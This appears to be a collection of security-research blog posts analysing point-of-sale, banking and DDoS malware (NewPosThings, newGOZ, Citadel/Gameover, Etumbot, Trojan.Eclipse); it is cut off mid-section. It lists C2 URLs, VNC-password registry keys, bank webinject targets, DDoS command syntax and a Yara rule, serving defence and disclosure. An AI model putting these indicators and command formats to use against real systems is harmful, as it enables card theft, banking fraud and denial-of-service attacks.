Let’s Talk About NewPosThings

By: Dennis Schwarz -

by Dennis Schwarz and Dave Loftus

NewPosThings is a point of sale (PoS) malware family that ASERT has been tracking for a few weeks. It operates similarly to other PoS malware by memory scraping processes looking for credit card track data and then exfiltrating the spoils to a command and control (C2) server. Based on compilation times, it has been in active development since at least October 20, 2013—with the latest timestamp being August 12, 2014. Since we haven’t come across any public details of this family, we’re releasing our malware analysis for posterity and to get ahead of the threat.

The analyzed sample has an MD5 of 4196c67648003a18f61573a77b6d3be6.

Naming

Its name comes from an embedded PDB pathname string from the analyzed sample:

C:\Users\Tom\documents\visual studio 2012\Projects\NewPosThings\Release\NewPosThings.pdb

Initialization

The malware initializes itself as follows:

  • Sets some insecure file flags in the Registry:
    • “LowRiskFileTypes” in “HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Associations”
    • “1806” in “HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0”
  • Copies itself to “%APPDATA%\Java\JavaUpdate.exe”
  • Checks whether it is running as 64-bit and if so, exits with a MessageBox of “Use 64bit version.”
  • Kills any existing “JavaUpdate.exe” processes
  • Sets up Registry Run persistence (HKCU\Software\Microsoft\Windows\CurrentVersion\Run) under “Java Update Manager”
  • Executes copied executable passing the original executable’s pathname and “RM” as command line arguments
  • Original process exits

Second copy continues:

  • Deletes original executable
  • Phones home to the C2
  • Searches the Registry for VNC passwords. The following keys and values are checked:
    • HKLM\SOFTWARE\RealVNC\vncserver[Password]
    • HKLM\SOFTWARE\RealVNC\WinVNC4[Password]
    • HKCU\SOFTWARE\RealVNC\WinVNC4[Password]
    • HKCU\Software\TightVNC\Server\[Password]
    • HKCU\Software\TightVNC\Server\[PasswordViewOnly]
    • HKCU\Software\TigerVNC\WinVNC4\[Password]
    • HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Ultravnc2_is1[InstallLocation] (then opens ultravnc.ini looking for “passwd=/passwd2=”)
  • Sets “SeDebugPrivilege” privilege
  • Starts memory scraping thread
  • Starts C2 communications thread
  • Starts key logging thread

C2 Communications

The initial C2 phone home is HTTP POST based and looks like:

phonehome

 

Header-wise: there is a bug with Accept as, per the code, it is supposed to be “*/*” and the User-Agent is hardcoded to “Mozilla/4.0(compatible; MSIE 7.0b; Windows NT 6.0)”. The POST parameters break down into:

  • cs – is in base64 and decodes to “insert”
    • The base64 charset used in this malware is “ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_”
    • p – contains Windows version, “+32” is hardcoded (most likely a placeholder for architecture type), and computer name
    • m – the volume serial number of the root drive (used as an identifier)

An example response from the C2 is:

response

 

If any VNC passwords were found in the Registry they are exfiltrated to the C2:

vnc_exfil

 

The parameters are:

  • cs – base64, decodes to “log”
  • m – the volume serial number of the root drive (used as an identifier)
  • ls – base64, example below
>>> myb64.b64decode("dm5jX3Bhc3N3ZAoK")
'vnc_passwd\n\n'

The response from the C2 can contain a couple of other commands:

  • “update => url” – update self
  • “install => url” – download and execute
  • “not found” – remove self

Update and install both download to and execute from “%APPDATA%\Java\Explorer.exe”.

Credit Card Track 1 and 2 Memory Scraping Thread

Running in a loop, this thread takes a snapshot of all running processes it has access to on the system. For each process it:

  • Skips if it is a system process, one of:
    • svchost.exe
    • System
    • smss.exe
    • csrss.exe
    • winlogon.exe
    • lsass.exe
    • spoolsv.exe
    • alg.exe
    • wuauclt.exe
  • Skips if the process is the malware itself
  • Reads all accessible read/write memory
  • Parses each byte looking for “^” or “=” – field separators used in credit card track 1 and track 2 data respectfully
  • If there’s a match, further checks are done (track 1 and 2 are checked similarly):
    • Working backwards from the separator looks for 13-20 digits that could make up the Primary Account Number (PAN). Ends at a non-digit start sentinel
    • Checks the possible PAN with the Luhn algorithm—used to validate credit card numbers
    • Checks that the expiration date is reasonable: year is between [20]13 and [20]19 and month starts with a 0 or 1
    • Checks whether rest of the characters after the separator are digits
  • If the checks pan out, the track data is RSA encrypted with an embedded PUBLICKEYBLOB, see IDA screenshot below
  • It is then base64 encoded
    • If RSA encryption fails for whatever reason, the track data is just base64 encoded
  • Encrypted data is stored for later exfiltration to the C2

ida

 

Credit card track data is exfiltrated very similarly to VNC passwords:

cc_exfil

 

The “ls” parameter decodes to newline-separated entries:

 >>> ls = myb64.b64decode("U2Nhbm5pbmcgc3RhcnRlZAo0MUR1ekN5NF9oOGJiOVpUSDV0blRpWXhUbG5INnB4V0g2OXhZcVBLckJ2SjN0RXlvT1ZaanJnei1EOVpsOURPVTlsYVBnejVpWndkZ3FxUkw3U3RzeEdwVUs1YWwzRHR3aTZvTW9hNjRXWF9LSm9Da0QxRENmTHRwQ1NTTUhvYkNKY3lJVWJJanBBR2hfUWlaMDNYOHRPZUpZTmJrbDRzclptU05qMjlPUmM9CmV2NzA2QXYyZTlKTUpKRmlWZzZOaGMwSE85dlFvNy15RFJ2ZlJ5TmpFVVA0SlVTQU8wYUh3eUFERTVDWWRQVWNYWWhmRThqX0Q0b1I2NnNxejZ1ZzlyVmR2N0c4ZTRPLWdQYW9aVjdVSmJaaS1pN2NWUDJlb3hxb0ZCZTdkZ2pJeWZUNTRNelRDamlqanF4VzV1a080ek1HaThvVUdkUGpEamVoN0RiMEtYQT0K")
 >>> ls.split("\n")
['Scanning started', '41DuzCy4_h8bb9ZTH5tnTiYxTlnH6pxWH69xYqPKrBvJ3tEyoOVZjrgz-D9Zl9DOU9laPgz5iZwdgqqRL7StsxGpUK5al3Dtwi6oMoa64WX_KJoCkD1DCfLtpCSSMHobCJcyIUbIjpAGh_QiZ03X8tOeJYNbkl4srZmSNj29ORc=', 'ev706Av2e9JMJJFiVg6Nhc0HO9vQo7-yDRvfRyNjEUP4JUSAO0aHwyADE5CYdPUcXYhfE8j_D4oR66sqz6ug9rVdv7G8e4O-gPaoZV7UJbZi-i7cVP2eoxqoFBe7dgjIyfT54MzTCjijjqxW5ukO4zMGi8oUGdPjDjeh7Db0KXA=', '']

After the first entry, the rest are base64 and RSA encrypted credit card track data:

 >>> myb64.b64decode("41DuzCy4_h8bb9ZTH5tnTiYxTlnH6pxWH69xYqPKrBvJ3tEyoOVZjrgz-D9Zl9DOU9laPgz5iZwdgqqRL7StsxGpUK5al3Dtwi6oMoa64WX_KJoCkD1DCfLtpCSSMHobCJcyIUbIjpAGh_QiZ03X8tOeJYNbkl4srZmSNj29ORc=")
'\xe3P\xee\xcc,\xb8\xfe\x1f\x1bo\xd6S\x1f\x9bgN&1NY\xc7\xea\x9cV\x1f\xafqb\xa3\xca\xac\x1b\xc9\xde\xd12\xa0\xe5Y\x8e\xb83\xf8?Y\x97\xd0\xceS\xd9Z>\x0c\xf9\x89\x9c\x1d\x82\xaa\x91/\xb4\xad\xb3\x11\xa9P\xaeZ\x97p\xed\xc2.\xa82\x86\xba\xe1e\xff(\x9a\x02\x90=C\t\xf2\xed\xa4$\x920z\x1b\x08\x972!F\xc8\x8e\x90\x06\x87\xf4"gM\xd7\xf2\xd3\x9e%\x83[\x92^,\xad\x99\x926=\xbd9\x17'

Credit Card Track 2 Key Logging Thread

The last thread starts by extracting a DLL from an executable resource and writes it to “%APPDATA%\Java\DLLx64.dll”. The filename is hardcoded even though the DLL is 32-bit. The “InstallHooks” export is executed which installs a keyboard hook via the SetWindowsHookEx function. After hook installation, the thread loops looking for Windows messages with an ID of 2023 (sent by the hook function). On receiving the message, a buffer of 400 keystrokes is collected and is searched for track 2 data as above—not particularly sure why the malware is looking for credit card track data in typed input though.

Command and Control Login

login

Samples and Campaigns

The following are the samples and campaigns known to ASERT:

MD5: 87f6385a4cb0520e19782350c30826bc

C2: hXXp://141.105.64.84/a0d19de489970cf7276ebf390ef0cf23/

Compilation date: 2013-10-20 23:15:49

Notes: I believe this is an earlier development version that differs somewhat from the above analysis. Copies itself to “%APPDATA% \Java\javaj.exe”.

===

MD5: 3cee6591a0ec2e1e1bdd317ec8777c58

C2: hXXp://cabineta-axis-1.name/a0d19de489970cf7276ebf390ef0cf23/

Compilation date: 2013-10-22 00:40:30

Notes: Also an earlier development version using “javaj.exe”.

===

MD5: ec0e8edbab6575e167689cca533f75f0

C2: hXXp://81.17.30.19/mndn39oaom54lt3lk/

Compilation date: 2013-12-21 20:34:39

Notes: Also an earlier development version using “javaj.exe”. This IP has hosted a Citadel 1.3.5.1 C2 at hXXp://81.17.30.19/mentelbe/cita/server/file.php in the past.

===

MD5: fefeb6a27f34b35a6a43c65c188bcde7

C2: hXXp://193.109.68.58/52ff5b94d95a03c5/eklemek.php

Compilation date: 2014-05-11 10:31:02

Notes: Per Google Translate, “eklemek” is the Turkish word for “adding”.

===

MD5: 68dbce1053450a4395368835367d20b5

C2: hXXp://193.109.68.58/afdah/eklemek.php

Compilation date: 2014-05-12 19:00:35

===

MD5: 2576bc49e3c796b5b94695241d0d4359

C2: hXXp://193.109.68.58/afdah/eklemek.php

Compilation date: 2014-05-12 19:03:08

===

MD5: 3d58e0b2b9303e0bc4bb282c1ee2dd18

C2: hXXp://193.109.68.58/ufke/eklemek.php

Compilation date: 2014-05-15 12:30:47

===

MD5: 40e556c77948037497b9205932e69b97

C2: hXXp://193.109.68.58/afdah/eklemek.php

Compilation date: 2014-05-15 12:32:05

===

MD5: 4196c67648003a18f61573a77b6d3be6

C2: hXXp://vacation-promos.com/ujakj/ek.php

Compilation date: 2014-05-20 19:32:42

Notes: Live C2 panel at time of writing. hXXp://vacation-promos.com/haefk/ek.php is also a live C2 at the time of writing, but I don’t have the associated sample.

===

MD5: ae9899722707fc2c9716138580787026

C2: hXXp://wordpress-catalogs.com/dkok/ek.php

Compilation date: 2014-08-12 15:43:20

Notes: This sample returns to copying to “%APPDATA% \Java\JavaJ.exe”, just using camel-case. The PDB pathname has also changed to “C:\Users\Tom\documents\visual studio 2012\Projects\jsd_12.2\Release\jsd_12.2.pdb” so the author may have rebranded it from “NewPosThings” to “jsd”. At the time of writing, the C2 panel is live and the domain has hosted an Andromeda C2 at hXXp://wordpress-catalogs.com/forum/gate.php in the past.

Yara Rule

We’ve been using the following Yara rule for tagging and hunting:

// newposthings, Dennis Schwarz, Arbor Networks ASERT, September 2014
rule newposthings
{
  strings:
    $pdb1 = "C:\\Users\\Tom\\documents\\visual studio 2012\\Projects\\NewPosThings\\Release\\NewPosThings.pdb" nocase
    $pdb2 = "C:\\Final32\\Release\\Final.pdb" nocase
    $pdb3 = "C:\\Users\\Tom\\documents\\visual studio 2012\\Projects\\jsd_12.2\\Release\\jsd_12.2.pdb" nocase
    $str1 = "install =>"
    $str2 = "update =>"
    $str3 = "cs=bG9n&m="
    $str4 = "cs=aW5zZXJ0&p="
  condition:
    (any of ($pdb*)) or (all of ($str*))
}

Conclusions

This post has been an analysis of a point of sale malware known as NewPosThings. Its modus operandi is similar to that of other PoS malware where it memory scrapes for credit card track data, does some basic verification with the Luhn algorithm, and then exfiltrates to a command and control server. While it appears to be in active development, the scope and distribution of this threat is currently unknown. ASERT continues to monitor NewPosThings and other PoS malware threats.

Five Sinkholes of newGOZ

By: Dennis Schwarz -

By Dennis Schwarz and Dave Loftus

It has been a few weeks since news broke of the Zeus Gameover variant known as newGOZ. As has been reported, the major change in this version is the removal of the P2P command and control (C2) component in favor of a new domain generation algorithm (DGA).

The DGA uses the current date and a randomly selected starting seed to create a domain name. If the domain doesn’t pan out, the seed is incremented and the process is repeated. We’re aware of two configurations of this DGA which differ in two ways: the number of maximum domains to try (1000 and 10,000) and a hardcoded value used (0×35190501 and 0x52e645).

Date based domain generation algorithms make for excellent sinkholing targets due to their predictability, and provides security researchers the ability to estimate the size of botnets that use them. With this in mind, we have gathered five days worth of newGOZ sinkhole data. Our domains are based on the first configuration, since this configuration seems to be used the most in the wild.

As with all sinkhole data, many variables can affect the accuracy of victims such as network topology (NAT and DHCP), timing, and other security researchers. However, we feel that the data provides a good estimation of the current scope of this new threat.

Monday, July 14

july_14_map

Four days after the discovery of newGOZ, our first sinkhole saw 127 victims. To corroborate our initial data set, SecureWorks reported seeing 177 victims connect to their sinkhole a few days earlier on July 11.

Friday, July 18

july_18_map

An 89% increase to 241 victims.

Monday, July 21

july_21_map

Over the weekend we saw a 78% increase to 429 victims, mostly in the eastern half of the United States.

Friday, July 25

july_25_map

As reported by Malcovery Security on July 22, they saw a large spam campaign distributing newGOZ by the Cutwail botnet. This campaign appears to have been very successful. On July 25, we saw an 1879% increase to 8494 victims—the rest of the United States is covered.

Monday, July 29

july_29_map

Over the weekend and 19 days after its discovery, our fifth and final sinkhole for this post saw a 27% decrease to 6173 victims. This is most likely due to victims cleaning themselves up from that last spam campaign. Latin America, South Africa, South East Asia, and New Zealand start filling in.

Aggregates

In aggregate and over three weeks, our five sinkholes saw 12,353 unique source IPs from all corners of the globe:

all_map

The most infected country was the United States followed by India. The top 10 were:

top10_cc

In addition, a number of organization types were affected, the top being:

top_verts

Conclusion

Pondering on the five days worth of newGOZ sinkhole data above, some thoughts come to mind:

First, will the threat actor continue to use the same DGA configuration that they’ve been using so far? Empirically, there seems to be more security research sinkholes populating the DGA namespace than actual C2 servers. There is also the second DGA configuration that hasn’t received much use yet. Additionally, as we’ve seen, the actor is willing to completely replace the C2 mechanism altogether.

Second, will the botnet continue to grow and at what rate? The sinkhole data for July 25 suggests that the second Cutwail spam campaign was relatively successful. Will future waves continue this trend?

Finally, with the infection numbers at a fraction of what they were in the P2P version of Zeus Gameover, how long will the threat actor focus on rebuilding their botnet before they return to focusing on stealing money?

The Citadel and Gameover Campaigns of 5CB682C10440B2EBAF9F28C1FE438468

By: Dennis Schwarz -

As the infosec community waits for the researchers involved to present their Zeus Gameover take down spoils at the next big conference; ASERT wanted to profile a threat actor that uses both Citadel, “a particularly sophisticated and destructive botnet”, and Gameover, “one of the most sophisticated computer viruses in operation today”, to steal banking credentials.

Citadel Campaign

When a threat actor decides that they would like to start a Citadel campaign they: buy the builder software, build the malware, distribute it to the wild, and then, unfortunately, usually profit. A “login key” in Citadel parlance identifies a specific copy of the builder. This key is also copied into the generated binaries so a link between malware builder and malware is formed. Login keys are supposed to be unique, but due to builders being leaked to the public, some aren’t. For all intents and purposes though, malware researchers use login keys to distinguish between distinct Citadel campaigns.

On October 29, 2013, security researcher Xylitol tweeted that login key 5CB682C10440B2EBAF9F28C1FE438468 was not associated with any of the defendants in Microsoft’s Citadel botnet lawsuit:

tweet

ASERT has the following command and control (C2) URLs linked with that campaign. Most of these were hosted in the 46.30.41.0/24 netblock—owned by EuroByte:

MD5 Command and Control URL
280ffd0653d150906a65cd513fcafc27 http://46.30.41.118/QHasdHJsadbnMQWe/file.php
02968192220a94996ac20ae78f8714a2 http://46.30.41.217/street/file.php
f1c8cc93d4e0aabd4713621fe271abc8 http://46.30.41.23/AshjkyuiHKJLuhjka/file.php
80ec7b373282bbaaca52851a46dfcf0b http://46.30.41.51/WBHJSAKJghasjkdJHAGSDAu8/file.php
8c8c69ea9c84c68743368cc66c0962f3 http://46.30.41.98/werqfGADSHAJWe/file.php
8d484829fbbfff9aacf94f7d89949ee7 http://46.30.43.93/WhjyyuqwvbnqwjhERW/file.php
6646b55acb84ad05f57247e7aaa51b86 http://delprizmanet.com/hjkl123678qwe12lkj012/file.php
9c18247e6394f3d07ce9fcc43eb27a35 http://sdspropro.co.ua/1123asdASdqeqwoijlkj/file.php
6646b55acb84ad05f57247e7aaa51b86 http://sdspropro.co.ua/rrrguudness/file.php

 

Using archived copies of the campaign’s configuration files from KernelMode.info and ZeuS Tracker it can be seen that the threat actor was using 28 webinjects to target 14 financial institutions in the Netherlands and Germany:

set_url: *abnamro.nl/nl/ideal/identification.do*
set_url: *abnamro.nl/nl/logon/identification*html*
set_url: *accessonline.abnamro.com/fss/open/welcome.do*
set_url: *banking.berliner-bank.de/trxm/bb*
set_url: *banking.postbank.de/rai/login*
set_url: *icscards.nl/nlic/portal/ics/login*
set_url: *ideal.ing.nl/internetbankieren/SesamLoginServlet*
set_url: *ideal.snsreaal.nl/secure/sns/Pages/Payment*
set_url: *ideal.snsreaal.nl/secure/srb/Pages/Payment*
set_url: *meine.norisbank.de/trxm/noris*
set_url: *mijn*.ing.nl/internetbankieren/SesamLoginServlet*
set_url: *regiobank.nl/internetbankieren/homepage/secure/homepage/homepage.html
set_url: *regiobank.nl/internetbankieren/secure/login.html
set_url: *regiobank.nl/internetbankieren/secure/login.html*action_prepareStepTwo=Inloggen
set_url: *regiobank.nl/internetbankieren/secure/logout/logoutConfirm.html
set_url: *snsbank.nl/mijnsns/bankieren/secure/betalen/overschrijvenbinnenland.html
set_url: *snsbank.nl/mijnsns/bankieren/secure/verzendlijst/verzendlijst.html*
set_url: *snsbank.nl/mijnsns/homepage/secure/homepage/homepage.html
set_url: *snsbank.nl/mijnsns/secure/login.html
set_url: *snsbank.nl/mijnsns/secure/login.html*action_prepareStepTwo=Inloggen
set_url: *snsbank.nl/mijnsns/secure/logout/logoutConfirm.html
set_url: http://www.rabobank.nl/bedrijven/uitgelogd/*
set_url: http://www.rabobank.nl/particulieren/uitgelogd*
set_url: https*abnamro.nl*
set_url: https*de*portal/portal*
set_url: https*paypal*
set_url: https://bankieren.rabobank.nl/klanten*
set_url: https://betalen.rabobank.nl/ideal-betaling*

 

As an example and reference for later, here are a few snippets of one of the webinjects:

webinject1

Per ZeuS Tracker and VirusTotal passive DNS data, it seems as if this particular campaign started fizzling out around the end of 2013.

Zeus Gameover Campaign

As noted by security researcher Brian Krebs, the “curators of Gameover also have reportedly loaned out sections of their botnet to vetted third-parties who have used them for a variety of purposes.” Analyzing webinject data from the global configuration file that was being distributed on the peer-to-peer network shortly before its takedown on June 2, 2014; it looks as if the threat actor behind Citadel login key 5CB682C10440B2EBAF9F28C1FE438468 had joined the ranks of Gameover’s coveted third party. Checking historical versions of the config show that this collaboration goes back to at least January 2014.

In the analyzed configuration, there was 1324 total web injects targeting many financial institutions. 12 of these were associated with the profiled actor and will be focused on here.  First, the banking credentials extracted by this group of injects were being exfiltrated to IP address 46.30.41.23. This IP had previously hosted a C2 panel of the above Citadel campaign. Second, there were eight financial institutions targeted; seven of which were a subset of the previous campaign: 

match: ^https.*?de.*?portal/portal.*?
match: ^https://.*?regiobank.nl/internetbankieren/secure/login.html
match: ^https://.*?regiobank.nl/internetbankieren/homepage/secure/homepage/homepage.html
match: ^https://.*?bankieren.rabobank.nl/klanten.*?
match: ^https://.*?meine.deutsche-bank.de/trxm/db.*?
match: ^https://.*?meine.norisbank.de/trxm/noris.*?
match: ^https://.*?banking.berliner-bank.de/trxm/bb.*?
match: ^https://.*?banking.postbank.de/rai/login.*?
match: ^https://.*?snsbank.nl/mijnsns/secure/login.html
match: ^https://.*?snsbank.nl/mijnsns/homepage/secure/homepage/homepage.html
match: ^https://.*?snsbank.nl/mijnsns/bankieren/secure/betalen/overschrijvenbinnenland.html
match: ^https://.*?snsbank.nl/mijnsns/bankieren/secure/verzendlijst/verzendlijst.html.*?

 

Finally, the coding style, function/variable naming, and formatting of the webinjects themselves were akin to the above and looked to have been retrofitted from Citadel to work with Gameover:

webinject2

The drop site itself is a Ruby on Rails application that logs and displays the data sent from infected hosts:

bots

 

Each entry can be formatted a bit better by clicking “Show”:

bot_detail

Some of the logging text seen in these screenshots—for example: “Wait tan from holder”—can be correlated back to the earlier snippets of the webinjects.

The initial entries in the list are dated from around March and June of 2012, but these entries may be old or in error as there is a jump to December 2013 and then consistent logging from there. At the time of this writing there were approximately 1089 entries.

In addition, up to five Jabber IDs can be configured in the application and then messaged on receipt of freshly stolen credentials:

jabber

At the time of writing, the configured Jabber IDs were:

  • bro2@jabbim.cz
  • airhan@jabbim.cz
  • fapache@jabber.me

But, there wasn’t much open source intelligence on these.

Conclusion

Pondering on the data available…this threat actor ran a fairly targeted Citadel campaign focusing on a small set of banks in the Netherlands and Germany. Based on ZeuS Tracker data, most of the Citadel C2s became active after the start of Microsoft’s lawsuit on June 5, 2013, so this likely explains the exclusion of 5CB682C10440B2EBAF9F28C1FE438468 from the legal notices.

The Citadel campaign looks like it closed up shop at the end of 2013. In December 2013, logging on the out-of-band Gameover drop site started in earnest, so this might be when the threat actor moved to stealing banking credentials via Gameover.

So far, it seems as if this threat actor has escaped the clutches of the great Citadel take-down and, since the drop site is still receiving stolen credentials, has evaded the Zeus Gameover take-down as well. In the spirit of “see something, say something” and with the recency of the legal action, ASERT has provided the data available to our law enforcement contacts.

Illuminating The Etumbot APT Backdoor

By: Arbor Networks -

The Arbor Security Engineering Response Team (ASERT) has released a research paper concerning the Etumbot malware.

Etumbot is a backdoor used in targeted attacks since at least March 2011. Indicators suggest that Etumbot is associated with the Numbered Panda group, also known as IXEHSE, DynCalc, and APT12.  Although previous research has covered related malware, little has been publicly discussed regarding Etumbot’s capabilities.

Indicators suggest that the Etumbot dropper is delivered via spear phishing and is contained inside an archive file intended to be of interest to the target. The attackers use the Unicode Right to Left Override technique and document icons to disguise malicious executable content as document files. Once the dropper is executed, the backdoor is activated and a distraction file of interest to the target is opened for viewing.  ASERT has observed several Etumbot samples using distraction documents involving Taiwanese and Japanese topics of interest, and has also observed recent development activity which indicates that attack campaigns are ongoing.

Once installed, the backdoor connects to it’s Command & Control server and receives an encryption key. RC4 encryption, along with HTTP transactions intended to blend in with typical traffic are used for backdoor communications. Etumbot’s core functionality allows for the execution of commands and the capability to upload and download files.

Attackers attempt to obfuscate the malware by using a technique known as “byte strings”, also known as “string stacking”. Through the use of ASERT tools, these byte strings are deobfuscated and revealed herein.

A timeline containing distraction documents along with backdoor and dropper indicators to include MD5 hashes, Command & Control server information, file system and process artifacts are included herein. Some use of the HTran connection bouncer has been observed, indicating that selected C&C’s were simply compromised sites used to relay traffic elsewhere.

It is our aim to assist incident response and security teams and to provide meaningful insight into this threat.

Download the full report: ASERT Threat Intelligence Brief 2014-07: Illuminating the Etumbot APT Backdoor

Into the Light of Day: Uncovering Ongoing and Historical Point of Sale Malware and Attack Campaigns

By: cwilson -

Point of Sale systems that process debit and credit cards are still being attacked with an increasing variety of malware. Over the last several years PoS attack campaigns have evolved from opportunistic attacks involving crude theft of card data with no centralized Command & Control, through memory scraping PoS botnets with centralized C&C and most recently to highly targeted attacks that require a substantial amount of lateral movement and custom malware created to blend in with the target organization.

While contemporary PoS attackers are still successful in using older tools and methodologies that continue to bring results due to poor security, the more ambitious threat actors have moved rapidly, penetrating organizational defenses with targeted attack campaigns. Considering the substantial compromise lifespans within organizations that have active security teams and managed infrastructure, indicators shared herein will be useful to detect active as well as historical compromise.

Organizations of all sizes are encouraged to seriously consider a significant security review of any PoS deployment infrastructure to detect existing compromises as well as to strengthen defenses against an adversary that continues to proliferate and expand attack capabilities.

In addition to recent publications discussing Dexter and Project Hook malware activity, Arbor ASERT is currently tracking other PoS malware to include Alina, Chewbacca, Vskimmer, JackPoS and other less popular malware such as variants of POSCardStealer and others. Attack tactics shall also be explored through analysis of an attackers toolkit.

The longevity and extent of attack campaigns is a serious concern. In organizations with security teams and well managed network infrastructure, point of sale compromises have proliferated for months prior to detection. If attackers are able to launch long-running campaigns in such enterprise retail environments, one can conclude that many other organizations with less mature network and infrastructure management are also at serious risk. A sample of high-profile incident timelines, showing the date of the initial compromise, compromise timespan and compromise scope (number stores in this context) is included to highlight this point.

Download the full report: ASERT Threat Intelligence Brief 2014-06 Uncovering PoS Malware and Attack Campaigns

ASERT Threat Intelligence would like to thank fellow ASERT team members Dave Loftus, Alison Goodrich, Kirk Soluk and Matt Bing and also wishes to thank David Dunn of FIS Global and the Shadowserver Foundation for providing additional information.

Trojan.Eclipse — A Bad Moon Rising?

By: Dennis Schwarz -

ASERT’s malware collection and processing system has automatic heuristics that bubble up potentially new and interesting DDoS malware samples into a “for human analysis” queue. A recent member of this queue was Trojan.Eclipse and this post is my analysis of the malware and its associated campaigns.

Analysis was performed on the sample with an MD5 of 0cdd10cd3393d3fe916a55b946c10ad6.

The name Eclipse comes from two places: a mutex named “eclipseddos” and a hardcoded Cookie value used in the command and control (C2) phone home. We’ll see in the Campaign section below that this threat is also known as: shadowbot, gbot3, eclipsebot, Rhubot, and Trojan-Spy.Win32.Zbot.qgxi.

Based on the C2 domain names, GeoIP of the C2 IP addresses, and a social media profile of the owner of one of the C2 domains, I suspect this malware to be Russian in origin. In addition, Eclipse is written in Delphi and empirically Russian malware coders have a certain fondness for this language.

Command and Control

The analyzed binary has a hardcoded C2 domain string. This string is protected from modification by running it through a simple hashing algorithm and comparing it against a hardcoded hash at certain points of the code. The following Python function replicates this algorithm:

 def decrypt(string):
    table1 = "qwertyuiopasdfghjklzxcvbnm.1234567890"
    table2 = "asdfghjklqwertyuiopnbmcvxzeasdfghjklv" 
    out = ""
    for orig_char in string:
        index = table1.find(orig_char)
        if index == -1:
            char = orig_char
        else:
            char = table2[index]
        while char in table1[index:]:
            index = table1.find(char)
            char = table2[index]
        out += char

    print out

For example, the domain “milfsdeasing.com” hashes to “zopterrweoxyezpz.”

An example phone home request looks like this:

phonehome

It is a HTTP GET based C2 protocol where the query string breaks down into the following parameters:

  • bot – 15 random lowercase letters and digits
  • botkey – possibly a hardcoded campaign key
  • os – OS name
  • ram – amount of RAM
  • user – username
  • cpu – estimated CPU speed
  • number of CPUs

After the Host line, the remaining headers are static—note the aforementioned Cookie value. An example phone home response looks like this:

response

The returned content is a single <base> tag containing base64-encoded data. Once decoded, an XML-like configuration file emerges (newlines added for clarity):

<cmd>stop;</cmd><tcp>GET /index.php HTTP 1.1
Host: $RANDOM$.net
User-agent: $RANDOM$
</tcp><cnfg>control-timeout=1;
control-path=/par/;
control-domain=milfsdeasing.com;
stream-timeout=10;</cnfg>

Another example:

<cmd>type=slow-post; threads=10; timeout=1;
 target=www.victim.com; script=/contact-us.php;
port=80;</cmd><tcp>GET /index.php HTTP 1.1
Host: $RANDOM$.net
User-agent: $RANDOM$
</tcp><cnfg>control-timeout=1;
control-path=/par/;
control-domain=milfsdeasing.com;
stream-timeout=10;</cnfg>

Relatively speaking, for a DDoS bot, Eclipse has a fairly rich configuration mechanism. Starting with the <cnfg> tag, it has four possible options:

  • control-timeout – set C2 poll time
  • control-path – set C2 pathname
  • control-domain – set C2 domain
  • stream-timeout – minimum wait time between attack packets, in milliseconds

The <cmd> tag can contain multiple commands delimited by a “\r\n”, and each command has three possible formats: standalone command, command requiring parameters, and a shortcut command. An example of the first format is:

<cmd>stop;</cmd>

Identified commands in this category are:

  • stop – stop attacks
  • wait – sleep for one day
  • die – exit process

An example of the second format:

<cmd>type=slow-post; threads=10; timeout=1; target=www.victim.com; script=/contact-us.php; port=80;</cmd>

There are a bunch of types, here are the ones identified:

  • update – update self
  • execute – download and execute
  • tcpint – custom TCP flood
  • browser – HTTP GET flood, look like a web browser
  • dirtjumper – HTTP GET flood
  • sincere – TCP flood
  • http – HTTP GET/POST flood
  • httpspoof – HTTP GET flood with spoofed X-Forwarded-For header
  • slowloris – broken Slowloris attempt
  • tcp – TCP flood
  • udp – UDP flood
  • http-data – HTTP POST flood
  • slow-post – broken slow HTTP POST flood
  • connect – TCP connect flood
  • tcp-oneconnect – TCP flood
  • icmp – broken ICMP echo request flood
  • http-post – referenced in the code, but not implemented

Command parameters depend on the type and include:

  • threads – number of attack threads, defaults to 30
  • timeout – wait time between attack packets, in milliseconds
  • target – target host
  • script – URI path and file
  • port – target port, defaults to 80
  • connint – unknown, defaults to 1
  • dataint – unknown, defaults to 1
  • data – referenced, but unused
  • template – template attacks

Two interesting features here. First, the script parameter can contain variables: $RANDOM$ is replaced with 15 random lowercase letters and digits and $INTEGER$ is replaced with a random integer between 0 and 998.

Second, the template option configures various attacks based on hardcoded templates. They include:

  • nginx – slowloris attack, 30 threads, 10 ms timeout
  • ssh – tcp attack, 45 threads, 10 ms timeout, destination port 22
  • ftp – tcp attack, 45 threads, 10 ms timeout, destination port 21
  • https – tcp attack, 70 threads, 10 ms timeout, destination port 443
  • dns – udp attack, 10 threads, 10 ms timeout, destination port 53

Finally, the shortcut command format looks like this:

<cmd>#http://www.shortcut-victim.com#</cmd>

This launches an http attack with 100 threads and a timeout of 10 ms.

The <tcp> tag is used in conjunction with the tcpint command and defines a custom TCP flood payload template. The template supports $RANDOM$ variables which are replaced with 15 random lowercase letters and digits.

Campaigns

Campaign-wise, Eclipse can be broken down into roughly four groups: shadowbot, gbot3, eclipsebot, and eclipseddos. The malware implementation used in each campaign varies a bit from what was describe above, but I feel that they’re earlier development versions and warrant being categorized under the same family name.

shadowbot Campaign

The shadowbot campaign was active from July 21, 2013 to August 10, 2013 (using VirusTotal’s first submission timestamp). Its name comes from the use of the shadowbot mutex. Other notable differences include:

  • Use of a shortened query string, “index.php?bot=”, in the C2 phone home
  • Missing Referer and Cookie headers in the C2 phone home
  • Does not use the <base> tag or base64 encoding
  • The <cmd> tag is much simpler and is delimited by “#”s
  • Does not use <cnfg> or <tcp> tags
  • Uses !random instead of $RANDOM$ variables
  • Smaller command set: connect, slow-post, http-data, cs, udp, tcp, and http

Some sample MD5s and C2 URLs:

4c76ed5155b2ee388bd770941a3c0473 http://aktualisieren-soft.ru/blizzer-kidala/index.php
0af74a0029b248b7c4b5129a1a0e5e3b http://teleon2.ru/paranoik/index.php
2596d7b324599240c723429a01ad7310 http://teleon2.ru/paranoik/index.php
dd384ead636a7bd9bf7aa870ae712963 http://teleon2.ru/new/index.php

 

The last entry in this table is the sample that Microsoft documented at http://www.microsoft.com/security/portal/threat/encyclopedia/Entry.aspx?Name=Trojan%3AWin32%2FRhubot.A. They have named the malware “Win32/Rhubot.A”, but to be honest I couldn’t figure out why or find any good source material on “Rhubot”.

gbot3 Campaign

Next is the gbot3 campaign, which was active from August 9, 2013 to January 1, 2014 VirusTotal time. Its name also comes from the mutex that it sets. The distinguishing features of this version are:

